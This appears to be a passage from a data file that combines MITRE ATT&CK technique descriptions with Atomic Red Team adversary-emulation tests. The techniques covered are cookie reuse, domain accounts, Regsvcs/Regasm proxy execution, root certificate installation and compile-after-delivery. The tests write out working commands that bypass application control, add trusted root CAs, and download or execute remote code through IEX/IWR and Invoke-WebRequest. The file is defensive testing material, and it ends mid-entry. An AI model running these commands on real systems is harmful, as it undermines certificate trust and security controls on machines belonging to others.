source_name: Wikipedia Duqu description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018. url: https://en.wikipedia.org/wiki/Duqu - source_name: McAfee Malicious Doc Targets Pyeongchang Olympics description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018. url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1550.004: technique: modified: '2023-09-19T21:26:24.725Z' name: Web Session Cookie description: |- Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Johann Rehberger - Jack Burns, HubSpot x_mitre_deprecated: false x_mitre_detection: Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - SaaS - Google Workspace - IaaS x_mitre_version: '1.3' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Web Credential: Web Credential Usage' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0 created: '2020-01-30T17:48:49.395Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/004 external_id: T1550.004 - source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078.002: technique: modified: '2023-08-14T14:55:07.432Z' name: Domain Accounts description: |- Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f created: '2020-03-13T20:21:54.758Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/002 external_id: T1078.002 - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: Microsoft AD Accounts description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts - source_name: Ubuntu SSSD Docs description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021. url: https://ubuntu.com/server/docs/service-sssd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1218.009: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Casey Smith object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8 type: attack-pattern created: '2020-01-23T19:42:16.439Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1218.009 url: https://attack.mitre.org/techniques/T1218/009 - source_name: MSDN Regsvcs description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016. url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx - source_name: MSDN Regasm description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016. url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx - source_name: LOLBAS Regsvcs url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/ description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019. - source_name: LOLBAS Regasm url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/ description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019. modified: '2022-05-11T14:00:00.188Z' name: 'Signed Binary Proxy Execution: Regsvcs/Regasm' description: |- Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed. x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Digital Certificate Validation - Application control x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1218.009 atomic_tests: - name: Regasm Uninstall Method Call Test auto_generated_guid: 71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112 description: 'Executes the Uninstall Method, No Admin Rights Required. Upon execution, "I shouldn''t really execute either." will be displayed. ' supported_platforms: - windows input_arguments: output_file: description: Location of the payload type: path default: "%tmp%\\T1218.009.dll" source_file: description: Location of the CSharp source_file type: path default: PathToAtomicsFolder\T1218.009\src\T1218.009.cs dependency_executor_name: powershell dependencies: - description: 'The CSharp source file must exist on disk at specified location (#{source_file}) ' prereq_command: 'if (Test-Path "#{source_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{source_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}" executor: command: | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library "#{source_file}" C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file} cleanup_command: 'del #{output_file} >nul 2>&1 ' name: command_prompt - name: Regsvcs Uninstall Method Call Test auto_generated_guid: fd3c1c6a-02d2-4b72-82d9-71c527abb126 description: | Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, "I shouldn't really execute" will be displayed along with other information about the assembly being installed. supported_platforms: - windows input_arguments: output_file: description: Location of the payload type: path default: "$Env:TEMP\\T1218.009.dll" source_file: description: Location of the CSharp source_file type: path default: PathToAtomicsFolder\T1218.009\src\T1218.009.cs dependency_executor_name: powershell dependencies: - description: 'The CSharp source file must exist on disk at specified location (#{source_file}) ' prereq_command: 'if (Test-Path "#{source_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{source_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}" executor: command: | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content $env:Temp\key.snk -Value $Content -Encoding Byte C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library /keyfile:$env:Temp\key.snk #{source_file} C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{output_file} cleanup_command: | Remove-Item #{output_file} -ErrorAction Ignore | Out-Null $parentpath = Split-Path -Path "#{output_file}" Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null name: powershell elevation_required: true T1553.004: technique: modified: '2024-01-04T20:01:27.662Z' name: 'Subvert Trust Controls: Install Root Certificate' description: |- Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental) Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish) Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017) In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Matt Graeber, @mattifestation, SpecterOps - Red Canary - Travis Smith, Tripwire - Itzik Kotler, SafeBreach x_mitre_deprecated: false x_mitre_detection: |- A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017) Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker) * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 * 3B1EFD3A66EA28B16697394703A72CA340A05BD5 * 7F88CD7223F3C813818C994614A89C99FA3B5247 * 8F43288AD272F3103B6FB1428485EA3014C0BCFE * A43489159A520F0D93D032CCAF37E7FE20A8B419 * BE36A4562FB2EE05DBB3D32323ADF445084ED656 * CDD4EEAE6000AC7F40C3802C171E30148030C072 x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Windows Registry: Windows Registry Key Creation' x_mitre_defense_bypassed: - Digital Certificate Validation type: attack-pattern id: attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839 created: '2020-02-21T21:05:32.844Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1553/004 external_id: T1553.004 - source_name: Operation Emmental description: 'botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.' url: https://www.youtube.com/watch?v=gchKFumYHWc - source_name: SpectorOps Code Signing Dec 2017 description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018. url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec - source_name: Kaspersky Superfish description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.' url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ - source_name: objective-see ay mami 2018 description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018. url: https://objective-see.com/blog/blog_0x26.html - source_name: Microsoft Sigcheck May 2017 description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018. url: https://docs.microsoft.com/sysinternals/downloads/sigcheck - source_name: Tripwire AppUNBlocker description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.' url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ - source_name: Wikipedia Root Certificate description: Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017. url: https://en.wikipedia.org/wiki/Root_certificate object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1553.004 atomic_tests: - name: Install root CA on CentOS/RHEL auto_generated_guid: 9c096ec4-fd42-419d-a762-d64cc950627e description: 'Creates a root CA with openssl ' supported_platforms: - linux input_arguments: cert_filename: description: Path of the CA certificate we create type: path default: rootCA.crt key_filename: description: Key we create that is used to create the CA certificate type: path default: rootCA.key executor: command: | openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} cp #{cert_filename} /etc/pki/ca-trust/source/anchors/ update-ca-trust cleanup_command: | rm /etc/pki/ca-trust/source/anchors/#{cert_filename} update-ca-trust name: sh elevation_required: true - name: Install root CA on FreeBSD auto_generated_guid: f4568003-1438-44ab-a234-b3252ea7e7a3 description: 'Creates a root CA with openssl ' supported_platforms: - linux input_arguments: cert_filename: description: Path of the CA certificate we create type: path default: rootCA.crt key_filename: description: Key we create that is used to create the CA certificate type: path default: rootCA.key executor: command: | openssl genrsa -out #{key_filename} 4096 openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} cp #{cert_filename} /usr/local/share/certs/ certctl rehash cleanup_command: | rm /usr/local/share/certs/#{cert_filename} certctl rehash name: sh elevation_required: true - name: Install root CA on Debian/Ubuntu auto_generated_guid: 53bcf8a0-1549-4b85-b919-010c56d724ff description: 'Creates a root CA with openssl ' supported_platforms: - linux input_arguments: cert_filename: description: CA file name type: path default: rootCA.crt key_filename: description: Key we create that is used to create the CA certificate type: path default: rootCA.key dependency_executor_name: sh dependencies: - description: 'Verify the certificate exists. It generates if not on disk. ' prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi; ' get_prereq_command: | if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi; openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} executor: command: | mv #{cert_filename} /usr/local/share/ca-certificates echo sudo update-ca-certificates name: sh elevation_required: true - name: Install root CA on macOS auto_generated_guid: cc4a0b8c-426f-40ff-9426-4e10e5bf4c49 description: 'Creates a root CA with openssl ' supported_platforms: - macos input_arguments: cert_filename: description: CA file name type: path default: rootCA.crt key_filename: description: Key we create that is used to create the CA certificate type: path default: rootCA.key dependency_executor_name: sh dependencies: - description: 'Verify the certificate exists. It generates if not on disk. ' prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi; ' get_prereq_command: | if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi; openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename} executor: command: 'sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" "#{cert_filename}" ' name: sh elevation_required: true - name: Install root CA on Windows auto_generated_guid: 76f49d86-5eb1-461a-a032-a480f86652f1 description: 'Creates a root CA with Powershell ' supported_platforms: - windows input_arguments: pfx_path: description: Path of the certificate type: path default: rootCA.cer dependency_executor_name: powershell dependencies: - description: 'Verify the certificate exists. It generates if not on disk. ' prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 } ' get_prereq_command: | $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path} Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item executor: command: | $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root" cleanup_command: | try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { } name: powershell elevation_required: true - name: Install root CA on Windows with certutil auto_generated_guid: 5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f description: 'Creates a root CA with certutil ' supported_platforms: - windows input_arguments: pfx_path: description: Path of the certificate type: path default: "$env:Temp\\rootCA2.cer" dependency_executor_name: powershell dependencies: - description: 'Certificate must exist at specified location (#{pfx_path}) ' prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 } ' get_prereq_command: | $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path} Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item executor: command: 'certutil -addstore my #{pfx_path} ' cleanup_command: | try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { } name: powershell elevation_required: true - name: Add Root Certificate to CurrentUser Certificate Store auto_generated_guid: ca20a3f1-42b5-4e21-ad3f-1049199ec2e0 description: | The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec supported_platforms: - windows executor: command: "IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \n" cleanup_command: "Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n" name: powershell elevation_required: true T1027.004: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Praetorian - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617 type: attack-pattern created: '2020-03-16T15:30:57.711Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1027.004 url: https://attack.mitre.org/techniques/T1027/004 - description: 'ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.' url: https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf source_name: ClearSky MuddyWater Nov 2018 - source_name: TrendMicro WindowsAppMac url: https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/ description: Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019. modified: '2021-04-29T14:49:39.188Z' name: 'Obfuscated Files or Information: Compile After Delivery' description: |- Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: 'Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Creation' - 'Process: Process Creation' - 'File: File Metadata' x_mitre_defense_bypassed: - Signature-based detection - Host intrusion prevention systems - Anti-virus - Binary Analysis - Static File Analysis x_mitre_permissions_required: - User x_mitre_system_requirements: - Compiler software (either native to the system or delivered by the adversary) spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1027.004 atomic_tests: - name: Compile After Delivery using csc.exe auto_generated_guid: ffcdbd6a-b0e8-487d-927a-09127fe9a206 description: | Compile C# code using csc.exe binary used by .NET Upon execution an exe named T1027.004.exe will be placed in the temp folder supported_platforms: - windows input_arguments: output_file: description: Output compiled binary type: path default: C:\Windows\Temp\T1027.004.exe input_file: description: C# code that launches calc.exe from a hidden cmd.exe Window type: path default: PathToAtomicsFolder\T1027.004\src\calc.cs dependency_executor_name: powershell dependencies: - description: 'C# file must exist on disk at specified location (#{input_file}) ' prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs" -OutFile "#{input_file}" executor: command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} "#{input_file}" ' cleanup_command: 'del #{output_file} >nul 2>&1 ' name: command_prompt - name: Dynamic C# Compile auto_generated_guid: 453614d8-3ba6-4147-acc0-7ec4b3e1faef description: "When C# is compiled dynamically, a .cmdline file will be created as a part of the process. \nCertain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004 Dynamic Compile'.\n" supported_platforms: - windows input_arguments: input_file: description: exe program containing dynamically compiled C# code type: path default: PathToAtomicsFolder\T1027.004\bin\T1027.004_DynamicCompile.exe dependency_executor_name: powershell dependencies: - description: 'exe file must exist on disk at specified location (#{input_file}) ' prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe -OutFile "#{input_file}" ' executor: command: 'Invoke-Expression "#{input_file}" ' name: powershell - name: C compile auto_generated_guid: d0377aa6-850a-42b2-95f0-de558d80be57 description: 'Compile a c file with either gcc or clang on FreeBSD, Linux or Macos. ' supported_platforms: - linux - macos input_arguments: input_file: description: source file type: path default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.c dependency_executor_name: sh dependencies: - description: 'the source file must exist on disk at specified location (#{input_file}) ' 